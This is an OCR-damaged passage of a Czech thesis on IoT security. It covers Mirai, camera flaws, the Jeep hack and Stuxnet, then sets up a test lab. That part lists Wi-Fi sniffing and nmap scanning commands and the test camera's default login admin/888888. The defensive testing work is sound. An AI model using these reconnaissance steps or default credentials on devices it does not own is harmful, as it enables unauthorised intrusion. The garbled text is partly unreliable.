o 70 % zafizeni umoziovala uto¢nikiim enumeraci platnych uzivatelskych ucti.

e 70 % zatizeni pouzivala neSifrované¢ webové sluzby.

e 60 % zatizeni s webovym rozhranim bylo zranitelnych vii¢ci XSS a obsahovalo

slabé ptihlasovaci udaje.

Stejn¢ jako HP také spolecnost Symantec ve vlastnim vyzkumu analyzovala tentokrat
50 chytrych domécich zatizeni. Vysledkem je, Ze Zadné nevyzadovalo silné heslo, nepouzi-
valo dvoufaktorovou autentizaci, neposkytovalo obousmérnou autentizaci klienta a serveru
a nebranilo hadani hesla hrubou silou. Dvé z deseti zafizeni nepouzivala SSL/TLS Sifrovani
pfi komunikaci s cloudem. Néktera cloudova rozhrani obsahovala webové zranitelnosti. Vét-
Sina zafizeni neposkytovala podepsané ¢i Sifrované aktualizace firmware, pokud vibec
aktualizovany byly. (Barcena, 2015)

Bezpecnostni vyzkumnik Vladimir Kusakov (2017) z ruské antivirové firmy Kasper-
sky uvadi, Ze nejcastéjSim utokem na zafizeni IoT bylo hadéani pfihlaSovacich tdaja ke

sluzbam SSH a Telnet. Vyuzivan k tomu byl seznam vyrobci nastavovanych vychozich
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hesel. Vyzkumnici ve studii také sbirali data z nékolika honeypotl, na nichz monitorovali
vesker¢ aktivity a dosli k zaveru, Ze nejcastéj$im zdrojem utoku (v 63 %) byly DVR/IP ka-
mery, tedy pravdépodobné zatizeni jiz kompromitovana a ovladana Gto¢nikem. Vystupem
studie byl mimo jiné seznam nejc¢asteji zkouSenych kombinaci ptihlasovacich udaji (tabulka
je uvedena v ptiloze 1), jejichz pouziti by se méli vyrobci a zejména uzivatelé jednoznacné
vyvarovat. (Kusakov et al., 2017)

Podle vyzkumu ,,Next Generation Threats and Vulnerabilities* spole¢nosti Gartner je
dalsim rizikem rozsiteni bezdratovych siti. Ty pro utocniky predstavuji snazsi a méné casove
naroc¢nou cestu, jak kompromitovat interni sit’ ob&ti. Obranou je disledna segmentace sité.
(Department of Homeland Security, 2017)

Ve vyzkumnych zpravéach jsou zmitiovany volné dostupné skenovaci sluzby Shodan’
a Censys?, prostiednictvim kterych Ize identifikovat a nalézt zafizeni dle tzv. fingerprintu,
tedy na zaklad¢ specifické odezvy bézicich sluzeb. Shodan i Censys je vyuzivan, potazmo

zneuzivan k pomérné presné identifikaci vyrobce, typu a modelu zafizeni.

3.3.3 Analyza hrozeb, rizik a zranitelnosti

V nésledujicim textu bude provedena analyza hrozeb, rizik a zranitelnosti loT prvki, vycha-
zejici primarné z materialli zajmoveho sdruzeni OWASP (2017), které kazdorocné vydava

seznam nejcastéji zneuzivanych bezpecnostnich zranitelnosti, a to i v oblasti internetu véci.
1. Uzivatelské tcty a hesla

Spravné nastaveni bezpec¢nostnich politik manipulace s pfihlaSovacimi udaji, ucty a jejich
opravnénimi je pravdépodobné nejdilezit&jsim aspektem bezpecnosti. Utok hadanim hesla
je trivialni a obvykle pfedchdzi dal§im snaham o ziskdni kontroly nad zafizenim (Baker,

2016). Bezpecnostni problémy v této kategorii zahrnuji zejména:

nevhodny zplsob ukladani hesel, tokent ¢i cookies,

a
b. chybéjici kontrolu kvality hesel,

c. nedostatecnou granularitu uzivatelskych prav,
d. chybéjici reautentizaci pii zadsadnich zménach nastaveni,

e. pritomnost nedokumentovanych ucti.

! https://www.shodan.io
2 https://censys.io
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2. Webové rozhrani

Webové rozhrani obvykle piedstavuje zdkladni administracni platformu pro vétSinu uziva-
telt. Je snadno dostupné, obsahuje grafické rozhrani a dokaze generovat vizualni vystupy.
Vzhledem k tomu, ze webovym rozhranim disponuje vétSina zatizeni, je také Castym cilem

utokl (Barcena, 2015). Bezpe¢nostni problémy v této kategorii zahrnuji zejména:

slabé a znamé vychozi ptihlaSovaci tidaje,

o ®

enumeraci uzivatelskych uctd,

neomezené hadani hesel,

& 0

chybéjici kontrolu kvality hesel,
nevhodné navrzeny proces obnovy hesla,
otevieny pienos prihlasovacich udaj, tokent a cookies,

neptitomnost HTTPS,

= @ oo

chybéjici moznost vicefaktorové autentizace,

zranitelnosti webového serveru.

—

3. Mobilni aplikace

Mobilni aplikace miize byt také jednim ze zdkladnich rozhrani pro kontrolu IoT. Tykaji se
ji velmi podobné zranitelnosti a hrozby jako webovych rozhrani s tim rozdilem, Ze v ptipadé
mobilni aplikace ma tto¢nik k dispozici kompletni kod, ve kterém je prosttednictvim reverz-
niho inZenyrstvi mozné snadnéji odhalit chyby (Russel et al., 2016). Bezpecnostni problémy

v této kategorii zahrnuji zejména:

distribuce aplikace pouze neoficialnimi kanaly,

o ®

vyzadovani ptiliSnych prav pii instalaci,

nedostatecné aktualizace a podporu,

a o

otevieny pienos piihlasovacich tidaju, tokent a cookies,
klice a hesla uloZena piimo v kodu aplikace,
aplikace nepodepsané vyrobcem,

enumeraci uzivatelskych ucta,

= @ oo

neomezené hadani hesel,

chybéjici kontrolu kvality hesel,

—

nevhodné navrzeny proces obnovy hesla.

—.
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4. Cloud

Vyrobcei IoT obvykle pocitaji s imyslem uzivatele pfistupovat k zatizeni vzdalené, proto

poskytuji funkcionalitu cloudu, ke kterému se zafizeni ptihlasi a udrzuje s nim spojeni. Pfi-

stup ke cloudu je realizovan bud’ webovym rozhranim nebo mobilni aplikaci komunikujici

s API serveru na pozadi. Bezpecnostni problémy v této kategorii zahrnuji zejména:

e o

= @ oo

—

enumeraci uzivatelskych uéti,

chybéjici kontrolu kvality hesel,

neomezené hadani hesel,

nevhodné navrzeny proces obnovy hesla,

otevieny pienos ptihlaSovacich udaji, tokenti a cookies,
neptitomnost HTTPS,

chybéjici moznost vicefaktorové aktualizace,
nespravnou manipulaci s uzivatelskymi daty,

zranitelnosti webového serveru.

5. Sitové sluzby, protokoly a architektura sité

Tato kategorie hrozeb se tyka spise prostiedi, ve kterém je IoT prvek zapojen neZ samotného

zatizeni. Zabezpec€eni a navrh sité nicméné predstavuji velmi podstatné faktory determinu-

jici budouci odolnost vii¢i potencialnim ttokiim. Nevhodné navrzena sit’ mize byt zneuzita

k lateralnimu pohybu a §ifici se kompromitaci (Baker, 2016). Bezpecnostni problémy v této

kategorii zahrnuji zejména:

e

o

nevhodnou architekturu site,
nedostatecné zabezpeceni sité,
oteviené porty nevyuzivanych sluzeb,
zranitelné sluzby a rozhrani,

povolené UPnP.

6. Firmware a aktualizace

Firmware, jakozto zakladni softwarové vybaveni, piredstavuje zdkladni stavebni kdmen bez-

pecnosti kazdého zafizeni. Z toho diivodu by mél byt dlouhodobé podporovan, aktualizovan
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a chranén Sifrovanim (Baker, 2016). Bezpe¢nostni problémy v této kategorii zahrnuji

zejména:

a. hesla nebo Sifrovaci kli¢e piimo v kédu firmware,
b. chybéjici digitalni podpis firmwaru,
c. nedostateéné aktualizace firmwaru,
d. chybgjici Sifrovani aktualizaci,
slozitost aktualiza¢niho procesu,
f.  chybégjici moznosti logovani.

7. Fyzicky pristup

Zatizeni by méla byt chranéna vici fyzickym zasahlim, zejména pted piistupem k ulozisti
dat, stazenim bé&Zici paméti, Sifrovacich klic¢i ¢i vici prostému vytazeni z provozu (Russel

et al., 2016). Bezpe€nostni problémy v této kategorii zahrnuji zejména:

a. vypnuti ¢i restart zafizend,

b. poskozeni zafizeni €1 odstranéni jeho Casti,
c. manipulaci se ziskdvanymi daty ze senzord,
d. ziskani ulozisté dat,

e. ziskani firmwaru z Cipu,

f.  nadbyte¢né externi porty,

g. pftistup k sériovému rozhrani.

3.4 Pripadova studie utoki

V nasledujici podkapitole budou uvedeny né€které vyznamné medializované incidenty, pii

nichZ doslo ke kompromitaci prvki IoT ¢i CPS.

3.4.1 Botnet Mirai

Botnet Mirai byla rozsahla sit’ statisicti malwarem kompromitovanych IoT zatizeni, zneuZi-
tych pro dosud nejmasivnéj§i zaznamenané¢ DDoS utoky. Odhalen byl roku 2016 na
hackerském diskuznim féru samotnym autorem, a to véetné zdrojového kédu v jazyce C (Je-
lic, 2016). Mirai tvotily nej€astéji routery, IP kamery a DVR systémy (KoSata, 2017).
Botnety tvotené klasickymi pocitaci jsou pro utocniky z nékolika diivodii obtizné zne-

uzitelné. Stolni pocitace jsou relativné dobie zabezpecené, nejsou trvale zapnuta a existuje
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vétsi riziko, ze si uzivatel v§imne podivného chovéani napadeného zatizeni. Naproti tomu IoT
zafizeni jsou slab¢ zabezpecena, funguji s vysokou dostupnosti a riziko odhaleni skodlivych
aktivit je malé.

Malware Mirai ovladl statisice zafizeni prostym hadanim administratorského hesla.
Slovnik zkousenych ptihlasovacich tidaji byl zakédovany ve zdrojovém kodu a obsahoval
pouze 62 kombinaci vychozich uzivatelskych jmen a hesel. (Jelic, 2016) V diagramu na ob-

razku 9 je znazornéno vykonani kodu malwaru Mirai.

Obrazek 9: Diagram funkcionality malwaru Mirai
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[
(7) Utok

v

Cil DDoS O
h

Zdroj: USENIX Association, 2005, vlastni tprava

Po priniku malwaru kontaktovalo zatizeni fidici C&C server, jehoz adresa byla denné
dynamicky generovana algoritmem DGA. Algoritmus zajiStoval, ze fidici server byl obtizné

zablokovatelny bezpecnostnimi slozkami, jelikoz se kazdy den zménil. (Jelic, 2016)
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Malware Mirai navic pietrvaval pouze v rezidentni paméti, tudiz po restartu ¢i vypnuti zaii-
zeni po sob¢ nezanechal zadné stopy (KoSata, 2017). DalSim krokem malwaru bylo vypnuti
SSH a Telnet sluzeb, zamezujici dal§im pfistupiim. Jiz napadené zatizeni nasledn¢ zacalo
automaticky skenovat vetejny IPv4 prostor a vyhledavat oteviené Telnet porty 23 a 2323
(Kosata, 2017). Pokud byl z tidiciho serveru piijat pokyn k utoku, zatizeni zastavilo skeno-
vani a provadélo néktery ze standardnich DoS utoka (Jelic, 2016).

Po zvetejnéni zdrojového kodu byl malware rychle modifikovéan, byly do néj doplno-
vany dalsi funkce a jeho schopnosti rozsifovany. Celkem tak podle Kosaty (2017) vzniklo
ptes tisic variant kodu (USENIX Association, 2005). Autor malwaru nabizel botnet k pro-
najmu na darkwebu (Cloudflare, 2017).

3.4.2 1P kamery

V relativné kratké historii IoT se prave zranitelnosti IP kamer staly t¢éméf synonymem bez-
pecnostnich rizik internetu veéci. Na riziko webovych kamer pro soukromi upozornuje
i projekt Insecam?, ktery na vefejnych webovych strankach shromazd’uje a ukazuje obraz
z nékolika tisic nezabezpecenych kamer. Ptipadii itoki na webkamery bylo publikovanych
mnoho.

Bezpecnostni tym Talos Cisco Intelligence (2017) zvetejnil report nékolika zranitel-
overflow pii povoleni sluzby dynamického DNS umoznujici vzdalené spusténi kodu (RCE).
Vyrobce také Zadnym zplsobem digitdlné nepodepisoval aktualizace firmwaru, coZ otevi-
ralo moznost manipulace s firmwarem. Bezpe€nostni tym jesté odhalil Unik citlivych adaji
pies neoSetfeny vstup na UDP port, moznost resetu hesla bez autentizace nebo RCE pftes
UPnP. (Talos Cisco Intelligence Team, 2017)

Vyzkumnici spolecnosti Bitdefender v reportu (Bitdefender, 2015) zvetejnili koncept
utoku typu buffer overflow na webovou kameru ¢inského vyrobce. Prestoze utok byl pre-
zentovan na dvou zatizenich, 1 dalsi produkty vyrobce sdili stejny firmware. Nalezené buffer
overflow zranitelnosti v UPnP umoziovaly RCE. Sluzbou Shodan vyzkumnici nalezli vice
nez 140 tisic zranitelnych zatizeni. (Bitdefender, 2015)

Antivirova spolecnost F-Secure zvetejnila report (2017) vénujici se zranitelnostem
op¢t kamer Foscam, jez umoziovaly utocnikovi pfevzit kontrolu nad zafizenim. F-Secure se

zaméfil konkrétné¢ na kamery Opticam i5 a Foscam C2 a identifikoval 18 zranitelnosti,

3 www.insecam.org
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z nichz nejvaznéjsi byl zcela nedokumentovany otevieny Telnet port. Vychozi administra-
torské heslo bylo prazdné, pro FTP navic neménitelné, zakodované ptimo ve firmwaru. Dalsi
odhalené zranitelnosti se tykaly command injection, chybného nastaveni prav a vnitiniho
firewallu. (F-Secure, 2017)

Dalsi bezpecnostni firma TrendMicro (2017) vydala na svych webovych strankach
zpravu o botnetu Persirai, jenz tvofily fadové tisice IP kamer. Vyzkumnici opét sluzbou Sho-
dan odhalili nejméné 120 tisic zranitelnych kamer, a to zejména v Ciné a USA. Botnet
Persirai zneuzival zranitelnosti UPnP rozhrani, kdy pomoci techniky command injection
uto¢nik ptimél zafizeni stahnout Skodlivy payload z fidiciho serveru. Napadené zatizeni poté
samo vyhledéavalo dalsi zranitelna zatizeni. (TrendMicro, 2017)

Zranitelnosti se vSak netykaly pouze levnych ¢inskych kamer. Naptiklad profesionalni
fada IP kamer Sony IPELA obsahovala nejméné od roku 2012 do 2016 nedokumentovany
SSH a Telnet tcet (Lasek, 2017).

3.4.3 Automobily

Vyzkumnici Charlie Miller a Chris Valasek (2015) publikovali préaci popisujici uspésné
vzdalené napadeni automobilu Jeep Cherokee, modelovy rok 2014.

Automobily jsou jiz n€kolik desitek let vybavovany sbérnici CAN, pies kterou probiha
systémy. V minulosti jiz byly dokdzany nékteré nepfili§ zavazné utoky na fidici jednotku
prostiednictvim ptikazl prenaSenych pies CAN, vzdy byl ale nutny fyzicky pfistup k roz-
hrani. CAN sbérnice obvykle nema zadné bezpecnostni mechanizmy, které by autentizovaly
¢i jinak validovaly zdroj piikazu, stejn€ tak neni zajisténa jejich integrita. Jednim z divodi,
pro¢ tomu tak je, ze systém musi reagovat bez zdrzeni, takika v redlném case. (Miller et al.,
2015)

VétSina dnesnich vozidel je vybavena tzv. cyber physical asisten¢nimi systémy, jako
je adaptivni fizeni, nouzové brzdéni, kontrola opusténi jizdniho pruhu nebo parkovaci asis-
tent. Diky témto funkcim musi byt zdkladni ovlddaci mechanizmy vozidla spojené s fidici
jednotkou automobilu, tak aby tyto systémy v ptipad¢ nouze ptevzaly fizeni. Pravé tato vlast-
nost je spolu s nedostate¢nym oddélenim raznych systému vozidel jadrem problému.

Vyzkumnici Miller a Valasek nalezli tfi cesty, jak vozidlo Jeep ovladnout: prostied-

nictvim Bluetooth rozhrani, palubni Wi-Fi sité (generované heslo bylo mozné odhadnout)
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niho operatora. Vozidlo totiz bylo vybaveno SIM kartou. (Miller et al., 2015)

Zatimco vektory utoku prostiednictvim Bluetooth a palubni Wi-Fi vyzadovaly nejen
fyzickou blizkost, ale také modifikaci firmwaru (nicméné mozné diky chybéjici autentizaci
a ochran¢ integrity), ptistupem pies IP protokol mobilni sité se vyzkumnikim podaftilo diky
zranitelnosti firmwaru nahrat do zatizeni vlastni SSH kli¢e a timto zptsobem ziskat vzdaleny
shell. (Miller et al., 2015)

Shell umoznil posilat ptikazy ECU. Vyzkumnikiim se tak podatilo vzdalen¢ ziskat
GPS lokaci vozidla, ovladat topeni, klimatizaci, radio, displej, ale také vypnout motor nebo
odstavit brzdy. VSechny tyto ptikazy bylo mozné zjistit reverznim analyzou kodu asistenc-
nich systému. (Miller et al., 2015)

V reakci na objevené zranitelnosti matei'ska spole¢nost Chrysler pfi svoldvaci akci vice
nez 1,4 miliénu vozidel vydala bezpecnostni zaplaty firmwaru. Mobilni sit’, do které se au-
tomobily automaticky pfipojuji zakéazala veskery provoz na zneuzitém TCP portu 6667.

(Miller et al., 2015)

3.4.4 Stuxnet

Virus Stuxnet je ptikladem devastujiciho utoku na CPS, respektive v tomto pfipadé na pri-
myslovy ICS/SCADA systém. Objeven byl bezpecnostnim vyzkumnikem roku 2010 v siti
iranského zatfizeni na obohacovani uranu. Stejny kod se nasledné nalezl na dalSich 14 mis-
tech v franu. Kapitola vychazi z ¢lank Davida Kushnera (2013) a soukromé bezpeénostni
firmy Langner (2013).

Virus bezprecedentné zneuZzival celkem Ctyfi zranitelnosti nultého dne. Do vnitinich
chranénych systému elektraren pronikl prostfednictvim Skodlivého USB flash disku, ktery
neopatrny zaméstnanec vlozil do pocitace. Po spusténi se virus zacal rychle §ifit a replikoval
se 1 na dalSich pocitacich. V dalsi fazi vyhledal software Step7 vyrobce Siemens, ktery je
pouzivan k programovani a spravé ICS. Konecnou fazi byla kompromitace PLC obvodu a
spusténi samotného payloadu. Ten mél dvoji funkcionalitu. Umoznoval ovladat napadena
zafizeni a zaroven zasilal faleSné udaje o jejich bezproblémovém provozu, diky ¢emuz ne-
bylo moZné ze stran operatort jeho ¢innost odhalit. Ovladani napadenych zatizeni spocivalo
v ndhodném, destrukénim upravovani otacek centrifug.

Diagram vykonéni kddu viru Stuxnet je zndzornén na obrazku 10.
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Obrazek 10: Funkcionalita viru Stuxnet
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certificate that seems to show that it comes
from a reliable company, the worm is able to
evade automated-detection systems.

2. search

Stuxnet then checks whether a given
machine is part of the targeted indus-
trial control system made by Siemens.
Such systems are deployed in Iran to
run high-speed centrifuges that help
to enrich nuclear fuel.
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3. update

If the system isn't a target,
Stuxnet does nothing; if it is,
the worm attempts to
access the Internet and
download a more recent
version of itself.
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4. compromise

The worm then compromises the
target system’s logic controllers,
exploiting “zero day” vulnerabilities-
software weaknesses that haven't
been identified by security experts.

Zdroj: Kushner, 2013

5. control

In the beginning, Stuxnet spies on the
operations of the targeted system. Then it
uses the information it has gathered to
take control of the centrifuges, making
them spin themselves to failure.
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6. deceive and destroy
Meanwhile, it provides false feed-
back to outside controllers, ensur-
ing that they won’t know what's
going wrong until it's too late to do
anything about it.



4 Vlastni prace

Kapitola obsahuje navrhovou ¢ast prace, ve které bude dle stanovenych cilii navrzena meto-
dika ovéfeni, neboli otestovani a zajisténi, bezpecnosti prvki internetu veci.

Postupy budou psany s ohledem na ovéfitelnost a opakovatelnost. Cilovou skupinou
textu jsou koncovi uzivatelé¢ v domacich prostiedich ¢i prostiedich malych podnika, kteti
pfirozené¢ budou nejbéznéjSimi uzivateli levnych a na konfiguraci jednoduchych zatizeni

IoT.

4.1 Testovaci prostredi

V uvodu navrhové ¢asti prace bude piedstaveno celé testovaci prostiedi, které bude tvorit

zazemi pro postupy demonstrované v nasledujicich oddilech prace.

4.1.1 10T zarizeni

Jak jiz bylo uvedeno, navrh postupu ovéteni bezpecnosti prvkl IoT bude demonstrovan na
bézném domacim zafizenim, které bylo vybrano s ohledem na jeho dostupnost a funkéni
rozmanitost reprezentujici vétSinu aspektii navazanych na IoT — zafizeni je moZné ovladat
ptfes mobilni aplikaci a webové rozhrani, iniciuje spojeni s cloudem, sbira citliva data, po-
skytuje rozlicné mozZnosti konfigurace.

Konkrétné bylo za icelem demonstrace postupti v diplomové praci potizeno zatizeni
¢inského vyrobce Vstarcam, specializujiciho se na produkty doméciho uziti, zejména bez-
pecnostni kamery a prvky smart home. Spole¢nost Vstarcam byla zaloZena v roce 2011 a na
webovych strankach uvadi, Ze své produkty prodava ve vice nez 190 zemich svéta. (Vstar-
cam, 2018) Na obrazku 11 je zndzornén obsah oficialni prodejni stranky produktu.

Zatizeni nese oznaceni Vstarcam C7824WIP a ma nasledujici specifikace (Vstarcam,
2016c¢):

e  Procesor: ARM926, max. 440 MHz, video koprocesor

e OS: Embedded Linux

e Rozméry (vyska, Sitka, hloubka): 145, 110, 120 mm

e Hmotnost: 625 g

e  Zabezpeceni: tfi Urovné autorizace uZivatele

e Teplotni odolnost: -20—70 °C

e Podporované OS: Windows XP, Vista, 7, 8, 10
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e Podporované mobilni OS: Android, i0S

e Format komprese videa: H.264/MJPEG

e  Minimalni osvétleni: 0,8Lux/F1.4

e Senzor: /4"CMOS 720p, 1 Megapixel

e FPS:25

e Konektivita: Ethernet, Wi-Fi (802.11 b/g/n)
e Spotieba: 3,5 W

e Pamétova karta: 128GB TF/Micro SD slot
e Podpora ONVIF 2.4 protokolu*

e Infracervena technologie

e Vzdilené ovladani pohybu (horizontalni i vertikalni osa)
e Detekce pohybu, upozornéni zpravou, alarm

e Cena: k 26. kvétnu 2018 kolem 30 USD (Aliexpress.com, 2018)

Obrazek 11: Oficialni prodejni stranka IP kamery

VStarcam HD Ip Camera Wireless Wifi Wi-fi Video Surveillance Night Security
Camera Network Indoor Baby Monitor C7824WIP

5759 orders

® | Vsmacam

EE
=
ﬁi""_

e
N

Price:

E;‘scceczunt US $30.53 4 days left

oo . .
dia Get our app to see exclusive prices ~

Ships From:  China Germany Russian Federation Spain United States

Plug Type: EU Plug US Plug AU Plug UK Plug

Focus: 4mm

Shipping:  Please select the country you want to ship from

Quantity: 1 +

VsmaRcaM’

Total Price:

——————

Zdroj: Aliexpress.com, 2018

DalSim divodem pro pofizeni tohoto zafizeni bylo, Ze sdili firmware vyrobce GoA-
head spolu s vice nez 1250 dal§imi modely (Kim, 2017). Skenovaci engine Shodan nalezl
v dob¢ psani prace 70652 zatizeni piipojenych do internetu s timto firmwarem (Shodan.io,

2018). Rozsifeny byl zejména v Cing, USA, Thajsku, Italii a Francii (Shodan.io, 2018).

4 ONVIF je sdruzeni vyrobet IP kamer, které vzniklo za Gi¢elem vytvoreni otevieného standardizovaného ko-
munikacniho rozhrani. Standard je zaloZen na technologiich SOAP, XML, WSDL a RTSP (ONVIF, 2016).

42



4.1.2 Sitové zapojeni

Sitové zapojeni simuluje standardni zptlisob, jakym spotiebitelé loT prvky pfipojuji do sit¢,
tedy k hrani¢nimu router-switchi, za NAT a do stejné LAN, v niz se nachazi i ostatni zafi-
zeni. Stejny zptisob doporucuje i manudl vyrobce (Vstarcam, 2017). Diagram zapojeni je

zndzornén na obrazku 12.

Obrazek 12: Diagram sitového zapojeni

10.0.0.200
/ Kali Linux
wland maonitor
N
Wi-Fi =%

33ID: dlink T e 10.0.0.198
10.0.0.0/24 loT kamera

=

)]

10.0.01
D-Link router

10.0.0.1949
Android 4.4

=

10.0.0.197
Windows 7

Zdroj: vlastni zpracovani

Vychozi branou sité je bézny domaci Wi-Fi router-switch znac¢ky D-Link s IP adresou
10.0.0.1 a maskou sité€ 255.255.255.0. SSID Wi-Fi je vychozi ,,dlink*. Wi-Fi sit’ je z divodu
snadného odposlechu nezabezpecena heslem ani jinym zplisobem autentizace, coz vSak
nema zadny vliv na zjisténé zaveéry.

V siti budou dva klienti. Prvni je béZny uZivatelsky pocitac¢ s OS Windows 7 (IP adresa
10.0.0.197) a druhy je smartphone s OS Android 4.4 (IP 10.0.0.199). Webova kamera (IP
adresa 10.0.0.198) je pfipojena bezdratove.

Oproti bézné sitoveé konfiguraci je prostiedi doplnéno o pocitac, jehoz ucelem je od-

poslouchévat veskery sitovy provoz a bude ptedstavovat uto¢nika pohybujiciho se v siti.
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Po¢ita¢ je vybaven OS Linux v distribuci Kali’ se sitovou kartou v monitor médu (IP adresa
10.0.0.200).

Pfed zaznamenanim datového provozu Wi-Fi je zapotiebi na Kali Linuxu vypnout
vSechny procesy, které by mohly zplisobovat problémy pii pfechodu Wi-Fi rozhrani (wlan0)

do monitor modu. Tyto procesy lze zjistit piikazem:

airmon-ng check wlanO

Dale je nutné rozhrani pfepnout do monitor modu:

ifconfig wlanO down
iwconfig wlan0 mode monitor
ifconfig wlanO up

A nasledn¢ zacit odposlouchéavat sit’:
airodump-ng --essid dlink wlanO --output-format pcap -w "sni-
ffing"

Vysledny zdznam se ulozi ve formatu Pcap do souboru sniffing.pcap.

4.1.3 Kilientské aplikace a konfigurace

Vyrobce Vstarcam doporucuje ke svym produktiim staZeni klientskych aplikaci oznaCova-
nych Eye4, které jsou dostupné na webovych strankach (Vstarcam, 2016a) ve verzich pro:
e Android OS,
e 108§,
e  Windows.
Kromé zminénych je mozné jesté stahnout dalsi dvé podpirné aplikace pro OS Windows:
e Smart upgrade tool — nastroj pro aktualizaci firmwaru IP kamery,
e [P Camera Finder — nastroj pro vyhledani IP kamer v dané LAN.
Vyrobce v doddvaném manualu (Vstarcam, 2017) uvadi dvé metody instalace zafizeni:
1. bezdratove prostfednictvim mobilni aplikace;
2. zapojenim do LAN portu routeru.
Vzhledem k tomu, Ze cilem zapojeni byl monitoring sitového provozu, ¢ehoz bylo snazsi
dosahnout bezdratove, a zaroven zZe tento zplsob instalace bude v praxi Castéjsi, zvolila se
moznost pfipojeni prostfednictvim Wi-Fi. Vyrobce v manudlu uvadi, Ze metoda spociva

v pfiblizeni mobilniho telefonu pfipojené¢ho k Wi-Fi do blizkosti kamery. Kamera se poté

5 Kali Linux je voln4 distribuce Linuxu zaméfFen4 na penetracni testovani, eticky hacking a forenzni Setfeni.
Pro tyto Gcely obsahuje velké mnozstvi predinstalovanych nastroju.
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sama pripoji ke stejné siti. Stejné tak je mozné vyuzit skenovani QR kodu na kamete, ktery
obsahuje text: VSTA-781328-CJZKG, coz je unikatni ID (UID) zafizeni.

Pfi prvnim spusténi mobilni aplikace Eye4 ve verzi 5.1.3 je nutné v této aplikaci vy-
tvofit Gcet, zjevné se synchronizujici s cloudem. Po registraci probéhne piipojeni kamery do
lokani sité prostfednictvim UID a vychoziho hesla 888888.

Stejnym zpiisobem funguje i klientska aplikace SuperI[PCam ve verzi 1.3.1.2 pro Win-
dows. Pti spusténi si aplikace vyzada ve Windows Firewallu pfistup k privatni siti.

Mobilni verze aplikace Eye4 (jeji grafické rozhrani je na obrazku 13) ma tu vyhodu,
ze skrz dynamické DNS a pravé otevieny UPnP port se dokaze piipojit k zatizeni i z vefejné

sit€ mimo LAN.

Obrazek 13: Mobilni rozhrani

% ill 28 m 13:34

Basic Parameters

* Q

NetCam1
UID:VSTAT81328CJZKG
Mac addr:28:AD:3E:3E:A6:B2

l\ Activation time:
= WiFi >
&  Password >
1 Firmware Upgrade >
() Reboot
Delete

Zdroj: vlastni zpracovani

IP kamera poskytuje dle dokumentace i webové administrac¢ni rozhrani (obrazek 14),
kde je mozné nastavit nékteré zakladni aspekty jako logovani, porty sluzeb, uzivatelské ucty,
datum, cas a dalsi (Vstarcam, 2016b). Problémem webového rozhrani je, Ze neni staticky

ptifazené portu, napiiklad 80, 8080 ¢i 81, ale po kazdém restartu zatfizeni je mu ptidélen

45



nahodny vysoky port. Webové rozhrani je ve vychozim stavu pristupné uzivatelskym jmé-
nem admin a heslem 888888.

Vsechny kroky popsané vyse vedou ke stavu, kdy je IP kamera GspéSn¢ zapojena v siti
a Ize se k ni pfipojit prostiednictvim mobilni a desktopové aplikace Eye4, a také prostied-

nictvim webového rozhrani. Zaroven byl vytvoren uzivatelsky ticet na cloudovém serveru.

Obrazek 14: Webové administraéni rozhrani

Applications ~  Places v [@Mcewease Sun 10:50

Camera(IPCAM) - Iceweasel [ )
D-LINK SYSTEMS, INC. |... % / Camera(IPCAM) x|\ *
& | @ 10.0.0.198:22687/admin2.htm v Search wBe & & @y =

IP Camera Options

¥ Network Settings Camera Status

:-l'; ks Gl Firmware Version 48.53.75.103

i Video Record Web Ul Version EN75.8.53.14

¥ System Settings Alias PCAM

€ Back Camera ID VSTA781328C]ZKG
Alarm Status None
UPDP Status No Action
Factory DDNS Status
SD card status SD card is not inserted
MAC 28:AD:3E:3E:A6:B2
WiFi MAC 28:AD:3E:3E:A8:B2
Language: |English v

| Refresh |

Zdroj: vlastni zpracovani

4.2 Navrh metodiky ovéreni bezpecnosti

Pf#i navrhu metodiky ovéfeni a zajisténi bezpecnosti prvki [oT je tieba si uvédomit, ze cilem
veskerych krokl je pouze minimalizace rizik. Nasledujici text ma ukazat zakladni kroky
zabezpeceni sité obsahujici prvek internetu véci. V kybernetické bezpecnosti byva obdobny
postup oznacovan jako ,,zajisténi best practices*.

Metodicky postup bude adresovat vysledky analyzy hrozeb, rizik a zranitelnosti uve-
denych v predchozi Casti této prace. Hrozby, rizika a zranitelnosti budou popsany, bude
obecné uvedeno, jak jim Ize ptfedchézet a nasledné bude tento postup demonstrovan na tes-
tovaném zafizeni. Testovaci scénafe byly vybrany s ohledem na maximalni
reprodukovatelnost a zdroven nezavislost na konkrétnim zatizeni. Stejné ¢i mirn€ modifiko-

vané postupy by tedy mély byt aplikovatelné na jakékoli jiné zatizeni podobné kategorie.
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Zakladnim ptedpokladem pro dalsi kroky je zjiSténi IP adresy zkoumaného zatizeni
a dostupnych sluzeb. Neni-li ziejma IP adresa ptidélend DHCP serverem, je tieba ji v logu
router-switche nalézt nebo lze vyuzit naptiklad néstroje nmap na skenovani sité, ktery by
mél odhalit vS§echna dostupna zafizeni a pokusit se o jejich identifikaci. Piikaz nmap pro

nalezeni dostupnych zatizeni v rozsahu IP adres privatni sit¢ mize byt nasledujici:

nmap -sV 10.0.0.0/24 -0 --osscan-guess
V piipad¢ testovaného zafizeni je mu ptidélena IP 10.0.0.198. Oteviené porty tohoto zafizeni

1ze nalézt ptikazem:

nmap -Pn 10.0.0.198 -pl-65535

Metody ovéfeni bezpecnosti vychazi z teoretickych vychodisek uvedenych v této praci

a také z projektu OWASP Internet of Things (2015).

4.2.1 Uzivatelské ucty a hesla

V této kategorii budou uvedeny obecné pozadavky na fizeni uzivatelskych uctl a hesel. Az
v dal$ich oddilech budou rozebrany pro kazdou specifickou kategorii — webové rozhrani,
mobilni aplikaci, cloud, Wi-Fi.

K ovéfeni bezpecnosti uZivatelskych uctl a hesel na daném zatizeni bude nutné ziskat
administratorsky shell. U zafizeni s otevienou sluzbou SSH, Telnet nebo Rlogin by mélo
stacit klientem piislusné sluzby piihlasit se na IP adresu a dany port.

Nedisponuje-li zafizeni vzdalenym shellem, je tfeba jej ziskat jinym zptisobem, napfi-
klad explicitnim spuSténim sluzby v konfiguraci nebo vyuZitim zranitelnosti. Jelikoz
testované zafizeni administracni rozhrani s interaktivnim shellem ve vychozim stavu nepo-
skytovalo, bylo nutné shell ziskat pravé vyuZzitim zranitelnosti. Aplikovany postup je uveden

v priloze 2.
I. Nevhodny zpusob ukladani hesel

Hesla musi byt v databazi ukladana hashovana a solena. Spravna implementace zdznamu
v tabulce uzivatelskych hesel dle ,,best practices* by mohla byt nasledujici:
uZzivatel;hash (heslo+stil) ;stl;hash fce;c¢as znacky;pfiznaky
Sal by méla predstavovat ndhodny fetézec alespont 4 znakd, odliSna pro kazdy uziva-
